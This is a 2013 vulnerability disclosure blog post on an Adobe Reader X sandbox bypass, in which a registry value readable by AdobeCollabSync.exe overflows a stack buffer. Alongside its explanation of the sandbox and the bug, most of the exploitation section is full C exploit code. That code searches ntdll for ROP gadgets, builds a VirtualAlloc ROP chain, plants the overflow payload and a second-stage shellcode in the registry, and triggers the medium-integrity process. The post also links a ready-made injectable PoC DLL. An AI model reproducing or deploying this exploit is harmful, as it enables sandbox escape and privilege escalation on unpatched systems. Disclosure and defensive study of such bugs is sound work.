  • Permalink: http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html
  • Date published: 2013-05-15
  • Date of last update: 2013-05-15
  • Class: Sandbox bypass
One of the Adobe Reader X companion programs, AdobeCollabSync.exe, fails to validate the input when reading a registry value. This value can be altered from the low integrity sandboxed process. Arbitrary code execution in the context of AdobeCollabSync.exe process is proved possible after controlling certain registry key value. Quick links: White paper, Exploit and a PoC as injectable Dll.

Vulnerability Details

The issue is a sandbox bypass that enables a privilege escalation from the sandboxed low integrity process (target) to a medium integrity process (AdobeCollabSync.exe). A registry value writable from the target is read by AdobeCollabSync.exe into a stack based buffer without checking its size. A normal stack overflow occur and the control flow of a medium integrity process is controlled.

The Sandbox

Adobe reader X uses a slightly modified version of the Google Chrome sandbox. The Sandbox operates at process-level granularity. Anything that has to be sandboxed needs to live on a separate process. The minimal sandbox configuration has two processes: one that is a privileged controller known as the broker, and one or more sandboxed processes known as the target. At the beginning the main Reader process called the broker spawns a less privilege process called the target. The target can do few things by itself, so it is forced to relay most accesses to the operating system resources through the broker process using IPC. The broker receives these requests to access the different resources over IPC and then checks if the request passes a configured security policy. This policy is a set of rules established at the process start. More details on Adobe Reader Sandbox rules and exceptions can be found in this post.

The rule

The one we are interested follows:
HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\* rw REGISTRY
Basically this enables the target process to read and write any value down the specified key. Now we need a process with higher integrity that reads it.

Review Tracker

The Review Tracker shipped with Adobe reader lets you manage document reviews. From this window, you can see who’s joined a shared review and how many comments they've published. You can also rejoin a review, access comment servers used in reviews, and email participants. This functionality is implemented using a companion program which is spawn when the tracker is open from the gui. You can access the Tracker from the Reader menu: View/Tracker... . All the gui parts run in the target process so when you click the menu item the broker is asked to spawn a AdobeCollabSync.exe process. If an attacker is able to run arbitrary code on behalf of the target process is also able to spawn as many AdobeCollabSync.exe process as needed. This is done using the function acrord_exe+0x18da0 in the target (that's version 10.1.4).

On the AdobeCollabSync.exe process

Consider the trace of AdobeCollabSync.exe on the sysinternals process monitor when it runs normally.
It shows that AdobeCollabSync.exe reads one of the registry keys that are writable by the target process. For example the registry key:
HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\DBRecoveryOptions\bDeleteDB
Now, the functions that read the registry value are vulnerable to a stack based overflow. A screenshot of a process monitor trace follows:

Vulnerable function

The vulnerable function can be found at AdobeCollabSync.exe+9C1F0. It uses RegQueryValueRegExW to read values from the registry. The cbData parameter should indicate the size of the destination buffer. Because it is left uninitialized, RegQueryValueRegExW can write any number of bytes to the stack buffer of size 4 bytes. A stripped pseudo code of the bug is shown in the following listing.
  1. int
  2. READKEY_49C1F0(void *this, char *name, int a3) {
  3.   void * namew;
  4.   int cbData, Type, Data;
  5.   namew = AnsiToUnicode(concat("b", name) );
  6.   if ( !RegQueryValueExW(*((HKEY *)this_ + 2),
  7.                             (LPCWSTR)namew,
  8.                             0,
  9.                             &amp;Type,
  10.                             (LPBYTE)&amp;Data,
  11.                             &amp;cbData) &amp;&amp; Type == 4 ){
  12.       ...   // everything ok
  13.       return Data!=0;
  14.     }
  15.   ...  //error
  16.   return a3;
  17. }

Exploitation details

The target (sandboxed process) can write arbitrary amount of data into the selected registry key and spawn any number of AdobeCollabSync.exe processes. A fresh AdobeCollabSync.exe process will read the crafted registry value unchecked into the stack producing an of-the-book stack overflow with no /GS cookie. The only constraint is there is a pointer in upper stack frame that is periodically used by a thread. This stack offset must be left unaltered. Final stack size for overflowing is about 0x500 bytes. This is enough to virtualallocate a new RXW memory and ROP a small code into it. Then a second stage shellcode can be gathered from another registry value.

ASLR

There are no fixed dlls in AdobeCollabSync.exe. Hence an attacker already on the system may learn the address of ntll and assume that the newly created process will reuse the same address. This won’t hold with BIB.dll and AXE8SharedExpad.dll. The address of VirtualProtect as well as the addresses of all other system dlls are shared among different processes. The only problem is to find the ROP gadgets that work in any version of windows. But as the attacker already has access to a copy of ntdll.dll, the gadgets may be searched at runtime and the ROP built accordingly. We use 3 simple gadgets. More can be added to make the search more robust.
HEXAssembler
C3RET
89 0f C3 MOV dword ptr [EDI], ECX
RET
5F C3POP EDI
RET
59 C3 POP ECX RET
Next there is the shellcode that must run in the target process. It searches for the gadgets, builds the ROP, writes to the selected registry key value and trigger the execution of AdobeCollabSync.exe.
  1. int
  2. shellcode_main(GetModuleHandle_t GetModuleHandle, GetProcAddress_t GetProcAddress){
  3.     int i,j,k;
  4.     HMODULE acrord_exe = GetModuleHandle("AcroRd32.exe");
  5.     DoCollab_t docollab = (DoCollab_t)acrord_exe+0x18da0;
  6.     HMODULE ntdll = GetModuleHandle("ntdll");
  7.     HMODULE kernel32 = GetModuleHandle("kernel32");
  8.     VirtualAlloc_t VirtualAlloc = GetProcAddress(kernel32,"VirtualAlloc");
  9.     RegCreateKeyExA_t RegCreateKeyExA = GetProcAddress(kernel32,"RegCreateKeyExA");
  10.     RegSetValueExA_t RegSetValueExA = GetProcAddress(kernel32,"RegSetValueExA");
  11.     RegCloseKey_t RegCloseKey = GetProcAddress(kernel32,"RegCloseKey");
  12.     CloseHandle_t CloseHandle = GetProcAddress(kernel32,"CloseHandle");
  13.     ExitProcess_t ExitProcess = GetProcAddress(kernel32,"ExitProcess");
  14.     RegGetValueA_t RegGetValueA = GetProcAddress(kernel32,"RegGetValueA");
  15.     RegDeleteValueA_t RegDeleteValueA = GetProcAddress(kernel32,"RegDeleteValueA");
  16.     Sleep_t Sleep = GetProcAddress(kernel32,"Sleep");
  17.     union{
  18.          char c[0x1000];
  19.          int  i[0];
  20.     } buffer;
  21.     HMODULE collab_proc;
  22.     HANDLE key = 0;
  23.     // Search for gadgets in ntdll
  24.     unsigned char* gadget_ret;
  25.     unsigned char* gadget_mov_dword_edi_ecx_ret;
  26.     unsigned char* gadget_pop_edi_ret;
  27.     unsigned char* gadget_pop_ecx_ret;
  28.     //Search gadget MOV DWORD [EDI], ECX; RET
  29.     for(gadget_mov_dword_edi_ecx_ret = (unsigned char*)ntdll+0x10000;
  30.         gadget_mov_dword_edi_ecx_ret &lt; (unsigned char*)ntdll+0xd6000;
  31.         gadget_mov_dword_edi_ecx_ret++){
  32.         if ( gadget_mov_dword_edi_ecx_ret[0] == 0x89 &&
  33.              gadget_mov_dword_edi_ecx_ret[1] == 0x0f &&
  34.              gadget_mov_dword_edi_ecx_ret[2] == 0xc3)
  35.             break;
  36.     }
  37.     //Search gadget RET
  38.     gadget_ret = gadget_mov_dword_edi_ecx_ret+2;
  39.     //Search gadget POP EDI; RET
  40.     for(gadget_pop_edi_ret = ntdll+0x10000;
  41.         gadget_pop_edi_ret &lt; ntdll+0xd6000;
  42.         gadget_pop_edi_ret++){
  43.         if ( gadget_pop_edi_ret[0] == 0x5F &&
  44.              gadget_pop_edi_ret[1] == 0xc3)
  45.             break;
  46.     }
  47.     //Search gadget POP ECX; RET
  48.     for(gadget_pop_ecx_ret = ntdll+0x10000;
  49.         gadget_pop_ecx_ret &lt; ntdll+0xd6000;
  50.         gadget_pop_ecx_ret++){
  51.         if ( gadget_pop_ecx_ret[0] == 0x59 &&
  52.              gadget_pop_ecx_ret[1] == 0xc3)
  53.             break;
  54.     }
  55.     {
  56.      int * mem = MEMBASE;
  57.      unsigned buffer_used;
  58.      //Make rop using BIB.dll adress (same in all proc)
  59.      i=0;
  60.      buffer.i[i++]=0x58000000+i;
  61.      buffer.i[i++]=0x58000000+i;
  62.      buffer.i[i++]=0;              //Must be zero
  63.      buffer.i[i++]=0x58000000+i;
  64.      //4
  65.      buffer.i[i++]=0x58000000+i;
  66.      buffer.i[i++]=0x58000000+i;
  67.      buffer.i[i++]=0x58000000+i;
  68.      buffer.i[i++]=gadget_ret; //<Starts here
  69.      //8
  70.      buffer.i[i++]=0x58000000+i;
  71.      buffer.i[i++]=0x58000000+i;
  72.      buffer.i[i++]=VirtualAlloc;
  73.      buffer.i[i++]=gadget_ret; //RET1;
  74.      buffer.i[i++]=mem;        // lpAddress,
  75.      buffer.i[i++]=0x00010000; // SIZE_T dwSize
  76.      buffer.i[i++]=0x00003000; // DWORD flAllocationType
  77.      buffer.i[i++]=0x00000040; // flProtect
  78.      k=0;
  79.      for(j=0;j&lt;sizeof(regkey)/4+1;j+=1){
  80.          buffer.i[i++]=gadget_pop_edi_ret;
  81.          buffer.i[i++]=((int*)mem)+k++;
  82.          buffer.i[i++]=gadget_pop_ecx_ret;
  83.          buffer.i[i++]=((int*)regkey)[j];
  84.          buffer.i[i++]=gadget_mov_dword_edi_ecx_ret;
  85.      }
  86.      buffer.i[i++]=RegGetValueA;
  87.      buffer.i[i++]=(void*)mem+0x1000;           //RET
  88.      buffer.i[i++]=HKEY_CURRENT_USER;    //hkey
  89.      buffer.i[i++]=mem;                  //lpSubKey
  90.      buffer.i[i++]=(void*)mem+0x3a;             //lpValue
  91.      buffer.i[i++]=RRF_RT_ANY;           //dwFlags
  92.      buffer.i[i++]=0;                    //pdwType
  93.      buffer.i[i++]=(void*)mem+0x1000;           //pvData
  94.      buffer.i[i++]=(void*)mem+0x44;               //pcbData
  95.      buffer_used = i*sizeof(buffer.i[i]);
  96.      //Set up vulnerable registry key
  97.      RegCreateKeyExA(HKEY_CURRENT_USER,
  98.                      "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\",
  99.                      0 /*reserved*/,
  100.                      NULL /*lpclass*/,
  101.                      REG_OPTION_NON_VOLATILE /*Options*/,
  102.                      KEY_ALL_ACCESS /*samDesired*/,
  103.                      NULL /*SecurityAttribs*/,
  104.                      &key,
  105.                      NULL); //if not ERROR_SUCCES bail out
  106.      RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,buffer_used);
  107.      RegSetValueExA(key,"shellcode", 0, REG_BINARY,stage2,sizeof(stage2));
  108.      RegCloseKey(key);
  109.      // Tell the broker to execute AdobeCollabSync
  110.      collab_proc = docollab(0xbc);
  111.      // Sleep
  112.      Sleep(1000);
  113.      // Close collab_proc
  114.      CloseHandle(collab_proc);
  115.      // Clean registry
  116.      // RegSetValue
  117.      RegCreateKeyExA(HKEY_CURRENT_USER,
  118.                      "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\",
  119.                      0 /*reserved*/,
  120.                      NULL /*lpclass*/,
  121.                      REG_OPTION_NON_VOLATILE /*Options*/,
  122.                      KEY_ALL_ACCESS /*samDesired*/,
  123.                      NULL /*SecurityAttribs*/,
  124.                      &key,
  125.                      NULL); //if not ERROR_SUCCES bail out
  126.      //RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,0x4);
  127.      RegDeleteValueA(key, "shellcode");
  128.      RegDeleteValueA(key, "bDeleteDB");
  129.      RegCloseKey(key);
  130.      // Sleep
  131.      Sleep(1000);
  132.      // TODO: check success
  133.      ExitProcess(0);
  134.      //retry or spawn other target?
  135.     }
  136. }
To compile and pack this C code as an opaque executable chunk of memory (or shellcode) apply this. Using the awesome Stephen Fewer's ReflectiveDLLInjection project we can easly compile an injectable dll with this shellcode as payload. You can download a ready to use PoC dll from here. Note that this shellcode expects to get the address of GetModuleHandle and GetProcAddress functions as parameters (this are typically already known at ROP stage). Injecting this dll into the low integrity reader process will escape the sandbox and spawn a calculator. Next couple of figures are screenshots of an example run of the injected dll. Adobe reader runs a medium and a low integrity process:
Shellcode dll injected into the low integrity process:
Medium integrity calculator spawn: